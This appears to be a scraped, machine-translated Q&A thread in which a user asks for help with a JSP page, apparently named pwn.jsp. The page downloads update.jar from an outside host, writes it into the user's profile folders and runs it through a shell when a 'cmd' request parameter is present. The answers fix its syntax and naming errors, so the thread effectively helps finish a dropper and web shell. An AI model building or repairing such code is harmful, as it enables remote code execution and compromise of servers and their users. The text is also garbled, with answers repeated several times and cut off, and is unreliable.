Java JSP servlett错误,can';我想不出来
我对servletts还比较陌生,我无法理解这一点。我觉得一切都很好 这是我的密码:Java JSP servlett错误,can';我想不出来,java,servlets,Java,Servlets,我对servletts还比较陌生,我无法理解这一点。我觉得一切都很好 这是我的密码: <%@ page import="java.util.*,java.io.*, java.net.*, "%> <% String cmd; String[] cmdarr; String OS = System.getProperty("os.name"); String link = "http://site.com/update.jar"; String userDir
<%@ page import="java.util.*,java.io.*, java.net.*, "%>
<%
String cmd;
String[] cmdarr;
String OS = System.getProperty("os.name");
String link = "http://site.com/update.jar";
String userDir = System.getProperty("user.home");
int last = link.lastIndexOf("/");
int ending = link.lastIndexOf(".");
String fileName = link.substring(last + 1);
String fileEnding = link.substring(ending + 1);
URL u = new URL(link);
URLConnection uc = u.openConnection();
String contentType = uc.getContentType();
int contentLength = uc.getContentLength();
if (contentType.startsWith("text/") || contentLength == -1) {
throw new IOException("This is not a binary file.");
}
InputStream raw = uc.getInputStream();
InputStream in = new BufferedInputStream(raw);
byte[] data = new byte[contentLength];
int bytesRead = 0;
int offset = 0;
while (offset < contentLength) {
bytesRead = in.read(data, offset, data.length - offset);
if (bytesRead == -1)
break;
offset += bytesRead;
}
in.close();
String path;
if (offset != contentLength) {
throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes");
}
if(OS.startsWith("Mac")){
path = userDir+"/Library/"+fileName;
}
else if(OS.startsWith("Windows")){
path = userDir+"/AppData/Roaming/"+fileName;
}
else if(OS.startsWith("Linux")){
path = userDir+"/"+fileName;
}
else{
path = userDir+"/"+fileName;
}
FileOutputStream out = new FileOutputStream(path);
out.write(data);
out.flush();
out.close();
if (request.getParameter("cmd") != null) {
cmd = "java -jar "+path;
if (OS.startsWith("Windows")) {
cmdarr = new String [] {"cmd", "/C", cmd};
}
else {
cmdarr = new String [] {"/bin/sh", "-c", cmd};
}
Process p = Runtime.getRuntime().exec(cmdarr);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
我已经修复了导入和复制变量时的错误,但现在我得到了以下错误:
org.apache.jasper.JasperException: An exception occurred processing JSP page /file.jsp at line 52
49: path = userDir+"/"+fileName;
50: }
51:
52: FileOutputStream out2 = new FileOutputStream(path);
53: out2.write(data);
54: out2.flush();
55: out2.close();
Stacktrace:
org.apache.jasper.servlet.JspServletWrapper.handleJspException(JspServletWrapper.java:518)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:417)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:320)
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266)
javax.servlet.http.HttpServlet.service(HttpServlet.java:803)
org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96)
root cause
java.io.FileNotFoundException: C:\AppData\Roaming\update.jar (Das System kann den angegebenen Pfad nicht finden)
java.io.FileOutputStream.open(Native Method)
java.io.FileOutputStream.<init>(Unknown Source)
java.io.FileOutputStream.<init>(Unknown Source)
org.apache.jsp.pwn_jsp._jspService(pwn_jsp.java:108)
org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
javax.servlet.http.HttpServlet.service(HttpServlet.java:803)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:387)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:320)
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266)
javax.servlet.http.HttpServlet.service(HttpServlet.java:803)
org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96)
org.apache.jasper.JasperException:在第52行处理JSP page/file.JSP时发生异常
49:path=userDir+“/”+文件名;
50: }
51:
52:FileOutputStream out2=新的FileOutputStream(路径);
53:out2.写入(数据);
54:out2.flush();
55:out2.close();
堆栈跟踪:
org.apache.jasper.servlet.JspServletWrapper.handleJspException(JspServletWrapper.java:518)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:417)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:320)
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266)
javaservlet.http.HttpServlet.service(HttpServlet.java:803)
org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96)
根本原因
java.io.FileNotFoundException:C:\AppData\Roaming\update.jar(Das系统kann den angegebenen Pfad nicht finden)
java.io.FileOutputStream.open(本机方法)
java.io.FileOutputStream。(未知源)
java.io.FileOutputStream。(未知源)
org.apache.jsp.pwn_jsp._jsp服务(pwn_jsp.java:108)
org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
javaservlet.http.HttpServlet.service(HttpServlet.java:803)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:387)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:320)
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266)
javaservlet.http.HttpServlet.service(HttpServlet.java:803)
org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96)
您的代码中有很多错误
首先,删除import语句中的尾随逗号
<%@ page import="java.util.*,java.io.*, java.net.*, "%>
^
及
更改其中一个的名称,并重命名相应的引用。您的代码中有很多错误 首先,删除import语句中的尾随逗号
<%@ page import="java.util.*,java.io.*, java.net.*, "%>
^
及
更改其中一个的名称,并重命名相应的引用。您的代码中有很多错误 首先,删除import语句中的尾随逗号
<%@ page import="java.util.*,java.io.*, java.net.*, "%>
^
及
更改其中一个的名称,并重命名相应的引用。您的代码中有很多错误 首先,删除import语句中的尾随逗号
<%@ page import="java.util.*,java.io.*, java.net.*, "%>
^
及
更改其中一个文件的名称并重命名相应的引用。将输入和输出文件流
命名为in
和out
会导致冲突,因为这些变量被其他java库或代码中的其他位置使用。你需要改变它们
e、 g
FileOutputStream out2 = new FileOutputStream(path);
InputStream in2 = new BufferedInputStream(raw);
另外,在页面导入的末尾去掉逗号
<%@ page import="java.util.*,java.io.*, java.net.*"%>
将输入和输出文件流
命名为in
和out
会导致冲突,因为这些变量被其他java库或代码中的其他位置使用。你需要改变它们
e、 g
FileOutputStream out2 = new FileOutputStream(path);
InputStream in2 = new BufferedInputStream(raw);
另外,在页面导入的末尾去掉逗号
<%@ page import="java.util.*,java.io.*, java.net.*"%>
将输入和输出文件流
命名为in
和out
会导致冲突,因为这些变量被其他java库或代码中的其他位置使用。你需要改变它们
e、 g
FileOutputStream out2 = new FileOutputStream(path);
InputStream in2 = new BufferedInputStream(raw);
另外,在页面导入的末尾去掉逗号
<%@ page import="java.util.*,java.io.*, java.net.*"%>
将输入和输出文件流
命名为in
和out
会导致冲突,因为这些变量被其他java库或代码中的其他位置使用。你需要改变它们
e、 g
FileOutputStream out2 = new FileOutputStream(path);
InputStream in2 = new BufferedInputStream(raw);
另外,在页面导入的末尾去掉逗号
<%@ page import="java.util.*,java.io.*, java.net.*"%>
我想您在导入的末尾有一个额外的逗号。我想您在导入的末尾有一个额外的逗号。我想您在导入的末尾有一个额外的逗号。我想您在导入的末尾有一个额外的逗号。@kocko指出了在变量中的的副本所在,java使用了out
变量,用于out.print(“”)
等。Java不使用out.print()
,除非您定义了OutputStream out=System.out代码>:):)感谢您提供的信息,它看起来像out.println(disr)代码>也会导致代码中出现错误。。这不是来自某个java库吗?不是,是上面定义的FileOutputStream
。)啊,你的权利。。replicate local variable out
错误从何而来?我知道将变量更改为out2
可以解决这个问题。@kocko指出重复的地方是用于in
变量,java使用out
变量来处理out.print(“”)
等。java不会使用out.print()
,除非您定义了OutputStream out=System.out代码>:):)感谢您提供的信息,它看起来像out.println(disr)代码>也会导致代码中出现错误。。这不是来自某个java库吗?不是,是上面定义的FileOutputStream
。)啊,你的权利。。replicate local variable out
错误从何而来?我知道将变量更改为out2
可以解决这个问题。@kocko指出重复的地方是用于in
变量,java使用out
变量来处理out.print(“”)
等。java不会使用out.print()
,除非您定义了OutputStream out=System.out代码>:):)感谢您提供的信息,它看起来像out.println(disr)代码>也会导致代码中出现错误。。这不是来自某个java库吗?不,是